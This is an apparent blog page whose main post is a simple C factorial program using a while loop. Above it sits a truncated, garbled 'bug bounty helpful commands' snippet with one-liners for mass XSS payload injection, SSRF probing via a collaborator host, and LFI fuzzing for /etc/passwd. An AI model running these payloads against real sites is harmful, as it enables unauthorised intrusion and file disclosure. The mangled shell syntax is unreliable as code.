Bug BOunty Helpful Commands

  cat file.txt | gf xss | grep ‘source=’ | qsreplace ‘”><script>confirm(1)</script>’ | while read host do ; do curl –silent –path-as-is –insecure “$host” | grep -qs “<script>confirm(1)” && echo “$host 33[0;31mVulnerablen”;done >>. to get urls from websites.... waybackurls target.com | tee urlss.txt dalfox file urlss.txt pipe   XSS   cat file.txt | gf xss | grep ‘source=’ | qsreplace ‘”><script>confirm(1)</script>’ | while read host do ; do curl –silent –path-as-is –insecure “$host” | grep -qs “<script>confirm(1)” && echo “$host 33[0;31mVulnerablen”;done SSRF findomain -t example.com -q | httpx -silent -threads 1000 | gau |  grep “=” | qsreplace http://YOUR.burpcollaborator.net LFI Follow this command to find LFI findomain -t example.com -q |  waybackurls |gf lfi | qsreplace FUZZ | while read url ; do ffuf -u $url -mr “root:x” -w ~/wordlist/LFI.txt ; done find JS files on target.com https:/...

Find Factorial of a Number using Loop in C

 Hi guys, in this Article i will tell you about a program in C in which we can find the Factorial of a given number using While Loop.

So start by Code .............

Read the following Code carefully and Understand it , in case of any problem please tell me.


In this Article i have no any screen shot of the out put of the code please try your  self in any editor.

Thank you........

#include<stdio.h>

int main(){

int a,b=1;

printf("Enter a value : ");

scanf("%d",&a);

int fac=1;

while(b<=a){

fac=fac*b;

b++;

}

printf("This is your factorial : %d ", fac);

   return 0;

}


Comments

Post a Comment

Popular posts from this blog

Very Huge Dorks for SQLi || Web Hacking

How to find index of the Array in C